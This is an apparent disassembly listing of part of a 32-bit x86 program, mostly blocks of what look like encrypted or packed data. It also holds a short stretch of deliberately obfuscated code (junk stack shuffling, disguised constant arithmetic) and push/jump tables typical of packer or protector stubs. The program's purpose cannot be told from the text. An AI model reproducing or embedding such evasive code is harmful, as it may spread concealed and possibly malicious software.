		dd 0FE51AE52h, 0D99C7D29h, 5B176E5h, 0D57B85E4h, 0A648D534h
		dd 771FE649h, 0E40C019Ah, 0EFCAF5h, 6D22B753h, 0F9EEA94h
		dd 0BA5EA0F6h, 2F41FE3Fh, 6FA82AEh, 0CCB03508h,	2DF7C55Dh
		dd 17CF987h, 7F0A1A73h,	97727ED2h, 0C9B7328Eh, 4B63CF78h
		dd 54D4BEE9h, 5B9825CDh, 0FA15C435h, 811B6206h,	0FE5FD5Bh
		dd 0A647BC99h, 0D0748E99h, 2B2C9C53h, 0D87DD0F7h, 0E4000001h
		dd 0A951D0BFh, 0CB1D9EDBh, 6FA820Ah, 0F45CD9A4h, 6FA8201h
		dd 0FC0A8895h, 0CDBB67BCh, 2A4735B0h, 9A19C343h, 6F0F127Dh
		dd 0D5758801h, 14C52B68h, 0B206FA82h, 62224ACBh, 8E61B7D1h
		dd 66CEC913h, 52CEA4EDh, 0D7D22FCFh, 0D0F798D5h, 8028F867h
		dd 62FC79F4h, 48h, 0ED4F6F07h, 8DEC3850h, 73CA0CE8h, 0A22934A0h
		dd 5F69E55Eh, 18Eh, 0D532E226h,	0E405A97Ah, 36D37D85h
		dd 44A547DBh, 97701EE5h, 0A67DDAECh, 70B01FF8h,	3DC02FC8h
		dd 14ED7C9Dh, 17148D6Ah, 0EFCB00F1h, 59805E00h,	47A9E65Bh
		dd 6FA8296h, 6BC84D30h,	0FA832C05h, 530E6A06h, 6320E300h
		dd 79224ECDh, 26E16EEh,	43B2D667h, 9D06FAECh, 0B74A259Eh
		dd 8E97FA17h, 0AA3398E4h, 0BD40AF48h, 946DFC1Dh, 0F50F9EEAh
		dd 3469B24Fh, 0FAEC1DDCh, 0B4C0BB06h, 37CFCD55h, 9CF10E8Dh
		dd 3FAEDA46h, 0B4DC3DE7h, 6FAEC41h, 759B07D7h, 6FAEC84h
		dd 5FDC5B22h, 0E8C84909h, 2596E50Ch, 0A445E93Ah, 6814BA45h
		dd 8F961CE1h, 5F1C68E7h, 0AF23C622h, 45367A3h, 0E85C5D9Ch
		dd 936CFB00h, 69E481EFh, 0DD839DECh, 3CE83EAFh,	0A103DB30h
		dd 57C8F41Ch, 0AF8E0AFAh, 0B4DC8664h, 6D3B3764h, 0A6h
		dd 0FD1ACA5Eh, 0CED9192h, 5EBB65BDh, 6C8D2FF3h,	0BF58061Dh
		dd 8E95C284h, 58A807E0h, 25F857B0h, 0FC056485h,	2F6CB552h
		dd 0EFC818D9h, 4198B600h, 0BCD4946Dh, 6FA823Dh,	0EFAC5AA9h
		dd 0EA63118Ch, 8405731Bh, 26A7D57Dh, 2D4834E0h,	6B19C542h
		dd 8240E39h, 4593FFA8h,	0B84848DAh, 8AE79510h, 0FFA77E09h
		dd 8BA527E2h, 10CAD0F7h, 6F000000h, 0FA826094h,	852DF406h
		dd 1FBA64h, 945F0000h, 6FA8261h, 39822CF5h, 4430D42Eh
		dd 8200F117h, 0DF5E06FAh, 750AE360h, 0FE7717EAh, 8E7A509Bh
		dd 2, 976DAFB6h, 0F3329BE9h, 51AC3D4Bh,	0BA4AC3B1h, 20E76612h
		dd 80870672h, 0DB27A6D2h, 44C24B39h, 0A27DEC98h
		db 0FCh, 70h, 2Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	32Ah
		mov	[esp], ebp
		push	eax
		mov	eax, 467B66AAh
		and	eax, 67E37902h
		xchg	eax, edx
		dec	edx
		xchg	eax, edx
		add	eax, 548552CEh
		shr	eax, 8
		shl	eax, 8
		add	eax, 6B2C93E3h
		mov	esi, eax
		pop	eax
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 61EA0CFDh
		not	eax
		shl	eax, 8
		or	eax, 22087343h
		dec	eax
		sub	eax, 37FB733Ah
		mov	edx, eax
		pop	eax
		add	edx, ebp
		mov	[edx], esi
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		dd 654D2F93h, 69433764h, 4AFEB883h, 0C5030615h,	20EBD18Bh
		dd 8 dup(0)
		dd 555E9h, 549E900h, 36680000h,	0E906154Dh, 0FFFD3490h
		dd 154DEE68h, 3486E906h, 0BA68FFFDh, 0E906154Fh, 0FFFD347Ch
		dd 15502B68h, 3472E906h, 986CFFFDh, 5FA00FE8h, 33F35EBBh
		dd 0FD016889h, 0D453BE5Bh, 90B2C926h, 51AE5CABh, 617E26FEh
		dd 0B653F30Eh, 0C720CA5Bh, 4E8FE15Eh, 0E800EFCEh, 956D97CAh
		dd 4F3652EBh, 5C59E7F8h, 0F0C150EBh, 63DED233h,	0FCA9AE2h
		dd 7F86FADBh, 167260CAh, 5D9309F3h, 0CAA4E7DDh,	55B5A65Ch
		dd 0C76DB7D6h, 8E198B4Eh, 1D7650F7h, 13000000h,	0FA826094h
		dd 0EC3B2606h, 16A8C53Eh, 49E709B2h, 890CE747h,	2C4555B2h
		dd 0C000000h, 0EFEE02BFh, 4906FA82h, 0DE5D091Eh, 8206F365h
		dd 4E9006FAh, 0AA1DA9F7h, 0ADC8B458h, 3B639E33h, 57E97FBCh
		dd 0BF0CE7EBh, 6DC423BCh, 1552EB95h, 0FA8202F3h, 64E15C06h
		dd 0D2224818h, 6ADD34BDh, 0BC47D200h, 34F29D16h, 4AF39F64h
		dd 0FA83B726h, 0AF2A1186h, 7BE5FD52h, 732BAEC2h, 0AE8D86FAh
		dd 10BA4BC2h, 0E0449AF7h, 6259355Bh, 0FE7D8CE8h, 0B3F7E272h
		dd 0D28780E8h, 0B6A02078h, 62C956E5h, 68000000h, 0A951D0BFh
		dd 48259EDBh, 47A91276h, 0CE73E34h, 838E2F0Eh, 0DD5ADB81h
		dd 0EE0BB372h, 9D88283h, 5EA52BB1h, 3D380642h, 5B000003h
		dd 6FC21FCDh, 0BE11EE94h, 0CC23BC68h, 1E718E32h, 0F9BC5D09h
		dd 0E59196C5h, 0B55BA504h, 8628F554h, 57FF0669h, 0C42C61BAh
		dd 0EFCF15h, 0D24297B3h, 308h, 0EB956DB7h, 8200F59Dh, 0DB4606FAh
		dd 98D5A349h, 82C0B51Bh, 2BAD06FAh, 4006FA83h, 6FA8395h
		dd 0FA83FDF8h, 83659006h, 0EBF3C6FAh, 0B3D43489h, 738153D4h
		dd 0E008B52Eh, 0CCE626F5h, 33DD55B3h, 479FAA97h, 7C9491CEh
		dd 0C0EF6A7Dh, 0CC748CDBh, 0CB46C5A0h, 22D33572h, 8EC0EF6Ah
		dd 0C8A5D373h, 83729693h, 0DDC0EF6Ah, 1A62E35Eh, 72CB2DB1h
		dd 0FD68F61Eh, 0AA7DC0CAh, 24B7D02Ah, 85517FEBh, 83000002h
		dd 0D73AD785h, 0E649A64Ch, 349B7420h, 46A946EAh, 41F415C1h
		dd 9D49DE7Dh, 6D13ED7Ch, 3EE03D8Ch, 0FB74EA1h, 9CF4A9F2h
		dd 0EFCF5Dh, 6DBADFFBh,	0D9EEA94h, 9AEE4FB1h, 0CE74700h
		dd 0A9D6330Ah, 44C165BEh, 0D633DD25h, 7301AB7Bh, 0D962C618h
		dd 0F20B35B7h, 0ED4E2D0Ah, 8EFAA262h, 0CF9972F3h, 0AD01A0Ah
		dd 5DDE429Ch, 1A09C820h, 0D4A70AD0h, 388EE25Fh,	3A00CDDFh
		dd 966FFA43h, 0FE124FECh, 14C566FFh, 3759E259h,	14C566C6h
		dd 47981D60h, 37119E8h,	8E38C958h, 9A0E87E2h, 14C5664Fh
		dd 1AA305D9h, 0D8A3C4F6h, 1E9F9E1Eh, 268987E1h,	112D743Bh
		dd 0AFF65687h, 88DF01Eh, 0BD65BCABh, 25C11F5Ch,	33D32E34h
		dd 91B02845h, 0A8C73CE1h, 0EC0CB159h, 92DC6712h, 0AB55AD09h
		dd 0A025A0DDh, 6EB09FDCh, 2C749CAh, 441EAF16h, 0D1153124h
		dd 0D3BAF50Dh, 5F2CA953h, 48A01D7Fh, 14B247FAh,	20D13774h
		dd 8C1890CEh, 0AF8ECF73h, 324E8B30h, 0E525D69Dh, 660182D3h
		dd 651AF79Fh, 0F78529FAh, 976EF97Ah, 0B40A81EFh, 71AEEB50h
		dd 9019DE1Fh, 80057818h, 8DDC6618h, 9DF3B012h, 2285645Ch
		dd 780483FAh, 8564EDE8h, 0FEA87922h, 5E0C1B72h,	6BC76012h
		dd 0BFABDC53h, 886DF9EBh, 1E96F4h, 94330000h, 6FA7561h
		dd 194Ah, 7098D500h, 6FA9F81h, 1C6816EDh, 56AD3C61h, 0D1A82DA8h
		dd 0FA786194h, 4F6FFD06h, 823CBDD3h, 0A39A06FAh, 9CCAE439h
		dd 108FC1E0h, 24E36EABh, 316BFD76h, 190CE7C0h, 0E9F55622h
		dd 0A2DA3687h, 57225CA7h, 81E754D1h, 0AFD3FD9h,	933BCA15h
		dd 0DA0D88E5h, 64B7A6B0h, 0B9DBE561h, 0D7000000h, 0EB46A351h
		dd 3A957218h, 48A740ECh, 9AF512B6h, 7D00E18Dh, 69151249h
		dd 39DF2188h, 0AAC71D8h, 0DB8382EDh, 40A8E53Eh,	0EFCD91h
		dd 6FCE132Fh, 5402014Fh, 0C92764D9h, 6BB4D2ABh,	381955C7h
		dd 41DB4DC6h, 290CE704h, 0D5584ECh, 88F300EFh, 4EEF4E0Bh
		dd 189D3FC3h, 85E7F754h, 0F1FCD038h, 0E35A0AFDh, 0B77B9C30h
		dd 7115D64h, 48h, 0F512C246h, 4E5899Ah,	56B35DA5h, 648527FBh
		dd 0B750FE05h, 869DBA8Ch, 50D03FD8h, 1DE04FA8h,	0F40D9C7Dh
		dd 3774AD4Ah, 0EFD220D1h, 79E0BE00h, 0F37521BFh, 7959DC0Fh
		dd 0F3C341E7h, 91129365h, 349h,	0F9980800h, 9BE9976Dh
		dd 3D4BF332h, 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h
		dd 4B39DB27h, 0EC9844C2h, 70FCA27Dh, 5A54522Dh,	4C281h
		dd 0EA830000h, 24148704h, 0E389535Ch, 4C381h, 0EB830000h
		dd 241C8704h, 241C895Ch, 28EE68h, 24048900h, 5E7E3ABBh
		dd 0B8F38174h, 50349B29h, 6572CEB8h, 58C32928h,	5DCB814Bh
		dd 8143C430h, 355702C3h, 48B54AAh, 4C48324h, 51D98951h
		dd 5908408Fh, 5024048Bh, 405E089h, 5000000h, 4,	5C240487h
		dd 5B2434FFh, 0E904C483h, 0FFFD2F60h, 0D2B3D5C9h, 0C494F932h
		dd 22A780A2h, 0B8680A82h, 6155098h, 0C88BC503h,	51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0E90009FDh, 142h,	5401D048h, 0DA95ECE7h
		dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h,	0C55DD500h
		dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h,	9CACAC32h
		dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h,	0DD0090BDh
		dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh
		dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h,	96B3EBB5h
		dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h,	0E3B2CD00h
		dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 38AE29B0h, 3C000000h
		dd 40000000h, 2	dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		dd 25E90000h, 68000020h, 615552Ch, 0FD2D97E9h, 563168FFh
		dd 8DE90615h, 68FFFD2Dh, 61556F2h, 0FD2D83E9h, 57C568FFh
		dd 79E90615h, 68FFFD2Dh, 615589Ch, 0FD2D6FE9h, 597E68FFh
		dd 65E90615h, 68FFFD2Dh, 6155A50h, 0FD2D5BE9h, 5AE968FFh
		dd 51E90615h, 68FFFD2Dh, 6155EB5h, 0FD2D47E9h, 5F3E68FFh
		dd 3DE90615h, 68FFFD2Dh, 615606Fh, 0FD2D33E9h, 63E868FFh
		dd 29E90615h, 68FFFD2Dh, 6156741h, 0FD2D1FE9h, 6A8C68FFh
		dd 15E90615h, 68FFFD2Dh, 6156BCFh, 0FD2D0BE9h, 6C3868FFh
		dd 1E90615h, 68FFFD2Dh,	6156C8Fh, 0FD2CF7E9h, 6CEB68FFh
		dd 0EDE90615h, 68FFFD2Ch, 6156E92h, 0FD2CE3E9h,	6F7C68FFh
		dd 0D9E90615h, 68FFFD2Ch, 615712Dh, 0FD2CCFE9h,	8D3BC9FFh
		dd 5C021D6Ch, 2AD62C83h, 0FCA062CDh, 0CB778CE3h, 433172Eh
		dd 5BB653FFh, 6BC623C9h, 0B41BF496h, 0F324C56Dh, 0D1AB2ABEh
		dd 690500EFh, 50D0BFF0h, 0C55C2BA8h, 27FE6F1Dh,	0D2533E7Fh
		dd 0FD52AB28h, 813E7FE1h, 0FDC44367h, 899B15DAh, 5DD895E3h
		dd 0A4B470D8h, 0CBB20CE8h, 0AC20D5BDh, 2F5000E8h, 0A97D6F43h
		dd 5412D6E5h, 0B7000000h, 50ED4F6Fh, 0EC983EC1h, 15C42C91h
		dd 0B306FA82h, 9AEE4BC8h, 0CE8A546h, 0BB5DA1B0h, 6633B0CDh
		dd 0DC196917h, 0AC00E8ACh, 7395D20Fh, 0E8AC82h,	6F761DCh
		dd 0A000E8ACh, 432F58DDh, 0E5A57D6Fh, 11B12D6h,	136D0000h
		dd 8C4E2CA6h, 953FC731h, 6DFA9D16h, 0C651EA94h,	8FEA963Eh
		dd 20E76616h, 7E870672h, 2AF867D4h, 1677057Eh, 0BAD6670Fh
		dd 0C02A1A88h, 5E65F53h, 4F17E978h, 0FA1CB839h,	0A8271606h
		dd 0BC24A1DCh, 6FAE07Ah, 0E8E97FBCh, 4606FA21h,	12137EF7h
		dd 96F28F68h, 4AEC1F52h, 1D6CE9C4h, 76E15A04h, 0FE7B09ADh
		dd 82EE946Fh, 8D1E6EE7h, 0E36ECF31h, 99F07C1Eh,	0E61DC8Ah
		dd 68D54EF6h, 5B9AEE2Bh, 3606FA0Dh, 60CF2137h, 0DDA0FDD1h
		dd 0A34E1143h, 42C3D716h, 0E892AEDEh, 28F9680Ch, 0E558057Eh
		dd 0B517A704h, 726FE008h, 2F490AF5h, 7677F1CDh,	0C59213A7h
		dd 0F0B12048h, 2C0F0ADDh, 61D0CB1h, 0D350BF58h,	6F03FC27h
		dd 0BAB664B7h, 1CF6ECh,	15C34100h, 0E48A95F4h, 0B25EA40Bh
		dd 8428FA55h, 53FF046Bh, 9CBB8FB6h, 0D33EDB87h,	0E34EAB51h
		dd 0C637C1Eh, 6BAC4DF5h, 0D723D236h, 0E1BD00EFh, 0D6966D78h
		dd 0FA8243B2h, 3E9E9D06h, 2E05027Dh, 835CDBE8h,	0CC2DD52Ch
		dd 0ED4F6F75h, 0A5A43850h, 8BF20CE8h, 54D3BEFDh, 0B073DAA6h
		dd 84037E0Ah, 0AF5C990Fh, 7B2C00E8h, 0A649BB0Fh, 0CC26D6E5h
		dd 19000000h, 1E72F80Eh, 0E8A3DFh, 0E870279h, 4ED0BF6Bh
		dd 9817BF46h, 751491ECh, 53331FACh, 69D4CCFDh, 0F80F9EEAh
		dd 0E0563E4Ah, 0F006FAE1h, 1688931h, 0A12A5600h, 0EE02BB1Dh
		dd 0CE82D5Eh, 84B1F858h, 1B286951h, 6BF5B648h, 0F4730DD6h
		dd 17532947h, 99C7FCEDh, 506EC31Ch, 75394FECh, 410AF537h
		dd 51D641FAh, 51341EB8h, 1E5B29CFh, 2BDF18BEh, 3AB934D6h
		dd 14B572DDh, 4DD0E25h,	0F40DAC44h, 0AE75DB5h, 0E4C1108Fh
		dd 9764B629h, 1BF1CDDBh, 0C85C0000h, 8F90FF18h,	63A30EEBh
		dd 2DF158B9h, 4036E8Bh,	0C082B956h, 1DE8C9Bh, 51AE56AEh
		dd 668323FEh, 0B750FA0Bh, 1EDF316Eh, 0B800EFD4h, 966D479Ah
		dd 61A00FE8h, 6DF958B9h, 0C651EA94h, 0CC24993Dh, 6FA820Dh
		dd 2953D0ABh, 58B961A0h, 0A83611E6h, 2D91F744h,	0A90CE880h
		dd 0C42C69D2h, 0E88015h, 5DA1C8B3h, 37213ABBh, 757E666Eh
		dd 36CE8658h, 46AA138Eh, 0CE48D59Ah, 2ED02D3Ch,	0F1AE2742h
		dd 6C9FD497h, 3BDF6917h, 0BD40D8ADh, 9FED68EFh,	64A2B20Ch
		dd 0ECED03B8h, 4ACE4836h, 0A1C774F3h, 0C45A2362h, 0ADBC017Ch
		dd 14C04654h, 718E0D68h, 0B45F071Eh, 2754ED07h,	30B09ECAh
		dd 9F00001Bh, 0D33EDB89h, 0E24DAA50h, 309F7824h, 42AD4AEEh
		dd 45F819C5h, 0A14DDA81h, 7117E940h, 42E43990h,	13BB4AA5h
		dd 98F0ADF6h, 0EFD459h,	6D86DBF7h, 0D9EEA94h, 9AEE4FB1h
		dd 0CE88072h, 6B15ED7Ch, 316E13ECh, 0E8811EDFh,	0F8287B00h
		dd 77C9C8C8h, 0C567BB26h, 0E2B5CD46h, 0C07DDFFFh, 0D06C6D83h
		dd 73CA00E8h, 0FF2345F2h, 0F70AFAD2h, 0D6A756BAh, 3A010ADEh
		dd 0D66E6F81h, 75C80ADEh, 8DCF99F6h, 15C0AF60h,	0B2D667C9h
		dd 0DF3D174Eh, 8224F968h, 9BE95401h, 5BA6AE30h,	69FF3CBBh
		dd 0D50F763Ah, 9739C554h, 0D862AF4h, 0C150ED50h, 90ED9B3Dh
		dd 57E28F9h, 0AE58A9B8h, 39B8D00Dh, 97D9009Eh, 63CE2FA4h
		dd 0B829F8A2h, 7B388A19h, 1A5D210Fh, 5CA80000h,	23FC53ACh
		dd 0F70F627Fh, 0C15DAC4Dh, 986FC21Fh, 54760DEAh, 957220E7h
		dd 0A542EA3Ah, 0FA17B74Ah, 0BE48E97h, 8A4B9D92h, 2400EFD5h
		dd 946DD306h, 823DBCD4h, 0A09B06FAh, 35245725h,	0A5C243EDh
		dd 0E206B719h, 0CE89E6Eh, 734D5A8h, 0A637A6CAh,	0AA9100E8h
		dd 0BC8D4929h, 37AC52ADh, 9B20845Ah, 0FAA4C975h, 1FE26D0Ah
		dd 6E12EC7Fh, 0B1EE6702h, 0F73471CAh, 0DEA46091h, 157FFE0Ah
		dd 0ADEA4E4h, 0E17AFB42h, 0B73CD077h, 0DB16729Fh, 7D629B32h
		dd 0D5E986FFh, 3AA6CA73h, 0BCA42460h, 5F2DD32Dh, 0FA16A722h
		dd 0CB971F9h, 51D6B915h, 1F5C20A5h, 3F4DED30h, 1AA4C142h
		dd 0A0E305B6h, 3AA23689h, 966FFA43h, 65BC13ECh,	56716ABDh
		dd 48040D80h, 19867Eh, 8533F100h, 54FA0564h, 22CE54BBh
		dd 0F4986AC5h, 0C36FB41Bh, 0C2B1F26h, 43AE4BF7h, 93FE1BC1h
		dd 0BC13EC8Eh, 0FB5CBD65h, 0DAB32246h, 710D00EFh, 50D0BFE8h
		dd 24A1DCA8h, 6612BC45h, 0C677D9E5h, 0E86FE6A2h, 9C7DC00Ch
		dd 75935C1Ah, 1276819Bh, 0E8C8E3h, 219EFE7Dh, 0E97FBC8Dh
		dd 0E816E8h, 117EF746h,	0BED26BCDh, 0AFA1472h, 30A1C744h
		dd 8E0ADE15h, 6D8B30AFh, 98FFC735h, 0B355A91Dh,	0A82DA8C5h
		dd 0A8CE81D7h, 0E6F8BE1Dh, 70EF976Eh, 1EC25CCBh, 4CDB18A5h
		dd 1CDD33B5h, 0BA0F9DD9h, 3D3844C3h, 0FFAC50B8h, 532A058Fh
		dd 0B418A625h, 1EA2E107h, 413C0391h, 52D0BFFCh,	0C3422DA6h
		dd 365A21Bh, 137146D2h,	4675648Ch, 68D31371h, 32CB4833h
		dd 759C46DFh, 6E1BC1A8h, 0A4517FEBh, 13000018h,	278A6715h
		dd 76D936DCh, 84EB04B0h, 0D639D67Ah, 3144A551h,	2DD92E0Dh
		dd 0FDA37DCCh, 0CE708D1Ch, 9F47DE31h, 0C64D942h, 0EFDBCDh
		dd 0BF0A4F6Bh, 28AD4DD0h, 521EC859h, 0F69EE5F9h, 0E02EB857h
		dd 9BED4ECDh, 0CE8EE97h, 3B835CDFh, 0EF516D70h,	0DA84324Eh
		dd 7E07D32Eh, 1D7BB805h, 179AE2EAh, 0DF41C2F9h,	0AFA0053h
		dd 0E97F1863h, 9496482Dh, 6BFD25B9h, 9917F86Ah,	41FA79C4h
		dd 5DEA32Fh, 3C483393h,	0C3B00FAFh, 0C2097304h,	76922BA6h
		dd 0A0F75A3Fh, 0C7D34D46h, 0B199790Bh, 1870CD46h, 0A917ED8Bh
		dd 7AE55625h, 5EBA03ABh, 722A1288h, 7B9411DAh, 0CA780D14h
		dd 6EBF642Ch, 522DA277h, 0C94414A9h, 5C4C9B4Ah,	0C38F04A1h
		dd 17D2F5h, 39E73D00h, 8AE71D8h, 0D68280EFh, 0A84CD639h
		dd 7723E04Fh, 78DFE39Ah, 8FE2FFABh, 0DF32CF75h,	0E847A042h
		dd 0F907119h, 0D8FFFE12h, 0BD5900EFh, 0EA946D24h, 4FB10D9Eh
		dd 31AD9AEEh, 58870CE7h, 165321C9h, 0EE37229Bh,	0D0E7167Ah
		dd 0FA4100EFh, 9CE89293h, 0D38562E1h, 0EFD0B2h,	72B1C51Ch
		dd 41A849C4h, 44F916C0h, 0D7A54BD5h, 724C199Ah,	6C5BAD0Eh
		dd 0C60AF262h, 3AAC677h
		dd 50F983B6h, 0B1A01D96h, 0C02FC86Eh, 7CED9B3Fh, 132AFDA5h
		dd 2664BAD4h, 17391C2Ah, 80840000h, 47D837D0h, 1BEB46A3h
		dd 0E5399071h, 0BC4BA643h, 784AF10Eh, 799644C3h, 89660E16h
		dd 0DE3BDB26h, 0EF08B273h, 6697F9B6h, 0C000EFD8h, 4F6FBF22h
		dd 0D61350EDh, 0FA8243B2h, 0AD57AF06h, 82F9A2DFh, 31A89F01h
		dd 0B38A0CE7h, 5C061F0Ah, 15932E83h, 0EFD002F3h, 62E15C00h
		dd 0D152B7D9h, 0E57400EFh, 0E08A9B19h, 0D95A1765h, 0A3B3C1BCh
		dd 0EFD137h, 0A975E459h, 87FC7907h, 9C0C64CEh, 0EDD6E2D4h
		dd 67h,	52D0BF94h, 269FDAA6h, 23E27849h, 839C0D7Bh, 59D491DFh
		dd 320F61DAh, 8406FA83h, 60E58B95h, 543C4833h, 6FA82A1h
		dd 0EEC2A8D1h, 0D0F787FEh, 0FEFF114Eh, 58F9057Ah, 0D07C8AE5h
		dd 253B53h, 94DE0000h, 6FA8260h, 9A68E8F6h, 68E782EEh
		dd 837296D3h, 0DD06FA82h, 3058E55Eh, 0CE8A188h,	0E18B9BC6h
		dd 6F228562h, 3850ED4Fh, 0CE882ECh, 840573CAh, 22E9397Dh
		dd 8E8522FDh, 0B0BC3B9Bh, 76D936B5h, 107907AFh,	88196713h
		dd 0ABC5137Fh, 5CA4030Ch, 0FF8A0BB3h, 0C637C26h, 7C3F4DF5h
		dd 6C12EDh, 0A5D37589h,	0BBC84DC8h, 3F7CC123h, 36A71A1h
		dd 39BA2B1Dh, 0FA8637D7h, 43C04F0Ah, 8E9647A9h,	4D300ADFh
		dd 350855CEh, 2AC75D4h,	0CB5AC576h, 8E0ACB1Dh, 0D9A40ADFh
		dd 6177D95Ah, 0F3232010h, 6DFC8832h, 0FF9FED93h, 89F3D851h
		dd 0CA7F269Eh, 0EC054C60h, 0E50B4886h, 82A1E5F4h, 1F6AEB52h
		dd 2C835C06h, 0CE5F2DD5h, 65E49034h, 0F787F59Bh, 0D7DA992Ah
		dd 1BEB826Ah, 75B20371h, 8FC0011Dh, 0F49E67A3h,	3E29661Bh
		dd 24D53FE7h, 8282A176h, 0D62F3ABBh, 0F3CB402Ch, 0ECC42C91h
		dd 0AA88B36Ah, 4ADB36D3h, 0AB75D4A0h, 0B167705h, 728C1D6Bh
		dd 4C85A2CEh, 7A8FD6E6h, 69111010h, 36E02188h, 9BFDC14Ah
		dd 7502CE22h, 0A5B48686h, 0AAC7B55Bh, 0F0116C29h, 92DE8899h
		dd 7AB217C2h, 7BD74086h, 33CC768Fh, 3EBFD10Eh, 98A67AB2h
		dd 0BC4120A5h, 28FF6E1Ah, 0D1560E7Ah, 0EC748979h, 7AB25584h
		dd 0BB95F3A6h, 0E6DF7585h, 7592118Ch, 10FBA8C8h, 0A5FCF8BBh
		dd 1ABC4120h, 8123FF6Eh, 0E7879AF3h, 73ED3099h,	7A4ADC1Dh
		dd 84037AA6h, 0AC2D43F8h, 0AA67A4Ah, 0CAA08333h, 0EC46E3B2h
		dd 0FC41E13Ch, 0CDC9259Ch, 991A017Dh, 7214E940h, 0D7398506h
		dd 0CE860266h, 5D20AC68h, 73DF102Fh, 0F5D56AB7h, 8C088F2Fh
		dd 76D936B5h, 107907AFh, 0B21B6911h, 2FBECA72h,	75F2DD7h
		dd 28FE2A00h, 0F675F07Ch, 0AFC31D5Eh, 3AC641EBh, 0C9A1E263h
		dd 84706D8Bh, 0FCEB5110h, 9FED936Dh, 0FF0661E2h, 34D60769h
		dd 0C442A068h, 7DF84318h, 3D2BA59Ch, 5C997665h,	6828C534h
		dd 9B1863A0h, 28C3h, 906D6600h,	4ED982EEh, 0F69310B4h
		dd 0F39768E8h, 0D06DE885h, 0E8A5A0B8h, 728FEE0Ch, 2EA0h
		dd 926CFB00h, 6EE782EEh, 0D0906D0Bh, 0FA8239B8h, 0E0117706h
		dd 7E06FA82h, 60DF5EFFh, 0C527B714h, 7117E978h,	0FD2147F4h
		dd 0F90CE88Dh, 0BF026582h, 0F75D3D21h, 8D2EF481h, 0FAFD7A7Bh
		dd 0EC69D406h, 0D10EC18Ah, 0FAFD3EBFh, 0E1107806h, 7F06FAFDh
		dd 67DC5FFCh, 0EB50B40Ah, 0E8FF1985h, 5DDE5D0Ch, 9C820h
		dd 0D4A700E8h, 0AB2A3E5Fh, 0E5BD9BE9h, 7602AA7Ah, 0D1ED7AFBh
		dd 0C243CE6Fh, 94116C18h, 3D1DC127h, 0AEB9F62Dh, 0A2DFAD59h
		dd 37147421h, 6996CF12h, 0ECEAEB7Dh, 0F944062Dh, 2EAFC17Ah
		dd 88062DECh, 0C14A36B5h, 0CE229BFDh, 0C3FF95Dh, 88972417h
		dd 0D930D179h, 8C779E48h, 0CF5F79A7h, 136DB583h, 4CD80000h
		dd 13EC439Ch, 0E73F926Fh, 0B14DDC3Dh, 889FF20Fh, 44063DDAh
		dd 85621017h, 0D532DA2Ah, 0EA07A77Ah, 3BD47E87h, 9A5BADE2h
		dd 3400EFDCh, 6594C316h, 2306FA81h, 0AA7BE6h, 0FA836190h
		dd 3F7CFF06h, 0FA8328A9h, 3EB78606h, 922B8D51h,	5DD67C87h
		dd 7D6488E0h, 0E7720CE8h, 44F9741Eh, 49A648D5h,	0C27B1BE6h
		dd 0F51BCF57h, 0E88A04h, 0E75CDBA2h, 58ED3495h,	844D68A5h
		dd 63B23108h, 5EA20E96h, 0E4A38DF9h, 53000012h,	67CA27D5h
		dd 0B619F69Ch, 0C42BC470h, 1679963Ah, 0F1846511h, 0ED996ECDh
		dd 0BD63BD0Ch, 8E30CD5Ch, 5F071E71h, 0CC241982h, 0EFDD0Dh
		dd 6F4A8FABh, 5402014Fh, 0E00C64D9h, 0F60CE87Ch, 0D82B3687h
		dd 0B9A8D532h, 0B7B2BE68h, 2AD0533Eh, 88E01D5Eh, 0E88449h
		dd 701F94E7h, 20D137B1h, 0BE00E884h, 7B3440BFh,	57A85832h
		dd 0BBCD0AB3h, 0E8843Ah, 0FC14A994h, 0E884FDh, 8A63E05Bh
		dd 704F7C30h, 0A761EE6h, 3897F06Fh, 0AE54AFE7h,	5C28A7C2h
		dd 0E884C034h, 0D10E4D00h, 0E8843EBFh, 20A59800h, 41F0B67h
		dd 6DFC815Eh, 0E29FED93h, 67FD0661h, 0E884D001h, 900F6E00h
		dd 57A8B7E4h, 895532B3h, 95729627h, 0CF0AF536h,	0C140CF6Ch
		dd 9091F819h, 76E19AE6h, 0FE7B09ADh, 72D6E885h,	694DA7C9h
		dd 0A8E500C0h, 0C6289140h, 60A02F14h, 9BB83DB8h, 0F50C1BA0h
		dd 6990F04Dh, 66CD1937h, 0B910E96Ah, 89B2BE68h,	58DD899Eh
		dd 124CB30Bh, 45D4DC13h, 51B70483h, 1ED49659h, 817098D5h
		dd 0DF1EB49Fh, 0C3BAE75Ch, 0DE1ABB10h, 0A472FE70h, 11B3h
		dd 0B9560602h, 0C829CD56h, 1AF7A161h, 28C96BB7h, 7B9442C1h
		dd 0CA59FEC0h, 946CC31Ch, 61BC13ECh, 38C920C1h,	7328718Eh
		dd 0EFE2DC1Dh, 55C7A00h, 0FA839C94h, 9535C806h,	65C71774h
